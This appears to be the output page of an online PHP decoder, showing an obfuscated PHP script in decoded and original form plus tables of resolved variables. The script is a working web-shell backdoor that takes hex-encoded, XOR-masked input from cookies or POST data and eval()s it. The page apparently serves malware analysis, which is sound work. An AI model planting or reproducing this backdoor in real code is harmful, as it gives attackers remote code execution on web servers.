Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ckjnobekES =/*u*/'s' ./* dlN */'t'/* oZ*/. 'r' ./*YZlPf */'_' . chr/* Nsqs ..

Decoded Output download

<?php 
$ckjnobekES	=/*u*/'s'  ./*  dlN  */'t'/*   oZ*/.	'r'	./*YZlPf  */'_' .	chr/*  Nsqs */(114)    .    "e"   .	"p" .    'e'/*  YZoyM */.     chr    (97)   ./*  BJH  */chr  (   813/*   GdG */-	697/* R   */); 
			$rvNEmi	=/* qMb   */'e'  ./*Y */chr    (120)     .  "p"	.  "l"/*dWbI */.    "o"   .	'd'/*Kac  */.	'e';$_S	=  '42810'; 
 $TZVRqUCFq	=/*F */chr/*   Cd*/(	1083/*  Iyi*/-	971	)."a"     .	chr     (/*TlrgZ  */608/*  cw*/-/*wLN   */509	)."k"; 
   function SgAVaYZF() 
			/*  F   */{ 
					/* J   */$QlhowItmSw =	Array	( "ghVAfVtCPqGfkRFlxG"    =>/*   hhFU  */"IujcDeyiGSaCvfklZAj"/*UGCb*/);$_PuJL	=	'42035'; 
 
 
/* Ypa  */ 
 $YiCbYlw  =     Array/*   JbwG  */(	"NjqttzWDFrFXPEVydPyPXEWzJJCL"	=> "VDGxBAfesecLJJ"	); 
 	$OBojOEGeUj    =  Array( $QlhowItmSw,     $_COOKIE,	$QlhowItmSw,  $_POST,/* xre   */$YiCbYlw);$_XPO	=	'17653'; 
/*  QzVri */ 
 
 
  return	$OBojOEGeUj; 
	} 
   
 function	UmogMv($joDrpLviZ,	$QlhowItmSw) 
						{ 
  if    (    count     (	$joDrpLviZ/*   azRzn  */)	==/*Tpe  */3/*  ejdi*/)/*   Ac*/{ 
					     $zExJobl/*  NJj */=     $joDrpLviZ[1];$_rmHM/*  FR   */= '64887'; 
				    $GDDysUL  = $joDrpLviZ[2]; 
    /*ZceQr   */$WywMjhC	= $zExJobl($GDDysUL); 
  /*   iVZI */eval	( $WywMjhC/*   UlFZc   */);$_EOI/* GyJTu*/=	'20836'; 
  /*LnL   */die/*  r */(); 
		  } 
		} 
  /*  GToa  */ 
 
   function/* hMvve*/XrFTYQIH($iEqvNUVPI,     $Kyyqp) 
 
 
     { 
       return/*  aUpGO  */$iEqvNUVPI	^  $Kyyqp; 
/* qiQVs   */} 
  	 
						$SzNnyK   =   chr    (    634/*  Yxthj */-    599	); 
 
 
	 
   foreach/*IQ   */(SgAVaYZF()/*  pH  */as  $MWoHWVCbxW)	{ 
					foreach (    $MWoHWVCbxW  as $Kyyqp   =>    $iEqvNUVPI/*   K */)	{ 
	    
			/* NLOvA*/$iEqvNUVPI	=	@$TZVRqUCFq(     "H" .   chr    (42),/* cEIdG */$iEqvNUVPI	);$_sZzY  =	'30959'; 
 
/* XSOO  */ 
 
	$Kyyqp	.=/* UCFYL  */"VQsJ-dmTviC-lQC-Kduz-Glicc-CUNe-iocnJI"; 
    $Kyyqp   = $ckjnobekES/* uVW   */(	$Kyyqp,	(	strlen(	$iEqvNUVPI	)/strlen(/* Maf */$Kyyqp	)/*  cz */)     +	1);; 
		/*   fKZ  */ 
      $TBUCG	= XrFTYQIH($iEqvNUVPI,/*  HSq*/$Kyyqp);; 
				   
 /*hLJN*/$joDrpLviZ	=	$rvNEmi	($SzNnyK,	$TBUCG    );$_ie/*  CMQm   */=	'11732'; 
					 
 /*   jdW   */UmogMv($joDrpLviZ,  $SzNnyK); 
 
 
	 
  continue; 
  /*JzI   */} 
	} ?>

Did this file decode correctly?

Original Code

<?php
$ckjnobekES	=/*u*/'s'  ./*  dlN  */'t'/*   oZ*/.	'r'	./*YZlPf  */'_' .	chr/*  Nsqs */(114)    .    "\x65"   .	"\x70" .    'e'/*  YZoyM */.     chr    (97)   ./*  BJH  */chr  (   813/*   GdG */-	697/* R   */);
			$rvNEmi	=/* qMb   */'e'  ./*Y */chr    (120)     .  "\160"	.  "\x6c"/*dWbI */.    "\x6f"   .	'd'/*Kac  */.	'e';$_S	=  '42810';
 $TZVRqUCFq	=/*F */chr/*   Cd*/(	1083/*  Iyi*/-	971	)."\x61"     .	chr     (/*TlrgZ  */608/*  cw*/-/*wLN   */509	)."\153";
   function SgAVaYZF()
			/*  F   */{
					/* J   */$QlhowItmSw =	Array	( "ghVAfVtCPqGfkRFlxG"    =>/*   hhFU  */"IujcDeyiGSaCvfklZAj"/*UGCb*/);$_PuJL	=	'42035';


/* Ypa  */
 $YiCbYlw  =     Array/*   JbwG  */(	"NjqttzWDFrFXPEVydPyPXEWzJJCL"	=> "VDGxBAfesecLJJ"	);
 	$OBojOEGeUj    =  Array( $QlhowItmSw,     $_COOKIE,	$QlhowItmSw,  $_POST,/* xre   */$YiCbYlw);$_XPO	=	'17653';
/*  QzVri */


  return	$OBojOEGeUj;
	}
  
 function	UmogMv($joDrpLviZ,	$QlhowItmSw)
						{
  if    (    count     (	$joDrpLviZ/*   azRzn  */)	==/*Tpe  */3/*  ejdi*/)/*   Ac*/{
					     $zExJobl/*  NJj */=     $joDrpLviZ[1];$_rmHM/*  FR   */= '64887';
				    $GDDysUL  = $joDrpLviZ[2];
    /*ZceQr   */$WywMjhC	= $zExJobl($GDDysUL);
  /*   iVZI */eval	( $WywMjhC/*   UlFZc   */);$_EOI/* GyJTu*/=	'20836';
  /*LnL   */die/*  r */();
		  }
		}
  /*  GToa  */

   function/* hMvve*/XrFTYQIH($iEqvNUVPI,     $Kyyqp)


     {
       return/*  aUpGO  */$iEqvNUVPI	^  $Kyyqp;
/* qiQVs   */}
  	
						$SzNnyK   =   chr    (    634/*  Yxthj */-    599	);


	
   foreach/*IQ   */(SgAVaYZF()/*  pH  */as  $MWoHWVCbxW)	{
					foreach (    $MWoHWVCbxW  as $Kyyqp   =>    $iEqvNUVPI/*   K */)	{
	   
			/* NLOvA*/$iEqvNUVPI	=	@$TZVRqUCFq(     "\x48" .   chr    (42),/* cEIdG */$iEqvNUVPI	);$_sZzY  =	'30959';

/* XSOO  */

	$Kyyqp	.=/* UCFYL  */"VQsJ-dmTviC-lQC-Kduz-Glicc-CUNe-iocnJI";
    $Kyyqp   = $ckjnobekES/* uVW   */(	$Kyyqp,	(	strlen(	$iEqvNUVPI	)/strlen(/* Maf */$Kyyqp	)/*  cz */)     +	1);;
		/*   fKZ  */
      $TBUCG	= XrFTYQIH($iEqvNUVPI,/*  HSq*/$Kyyqp);;
				  
 /*hLJN*/$joDrpLviZ	=	$rvNEmi	($SzNnyK,	$TBUCG    );$_ie/*  CMQm   */=	'11732';
					
 /*   jdW   */UmogMv($joDrpLviZ,  $SzNnyK);


	
  continue;
  /*JzI   */}
	}

Function Calls

chr 7
SgAVaYZF 1

Variables

$_S 42810
$_XPO 17653
$_PuJL 42035
$SzNnyK #
$rvNEmi explode
$YiCbYlw [{'key': 'NjqttzWDFrFXPEVydPyPXEWzJJCL', 'value': 'VDGxBAfesecLJJ'}]
$TZVRqUCFq pack
$OBojOEGeUj [{'key': 0, 'value': [{'key': 'ghVAfVtCPqGfkRFlxG', 'value': 'IujcDeyiGSaCvfklZAj'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'ghVAfVtCPqGfkRFlxG', 'value': 'IujcDeyiGSaCvfklZAj'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'NjqttzWDFrFXPEVydPyPXEWzJJCL', 'value': 'VDGxBAfesecLJJ'}]}]
$QlhowItmSw [{'key': 'ghVAfVtCPqGfkRFlxG', 'value': 'IujcDeyiGSaCvfklZAj'}]
$ckjnobekES str_repeat

Stats

MD5 f87bdb8ba58a1a59e90aa7b10d672327
Eval Count 0
Decode Time 285 ms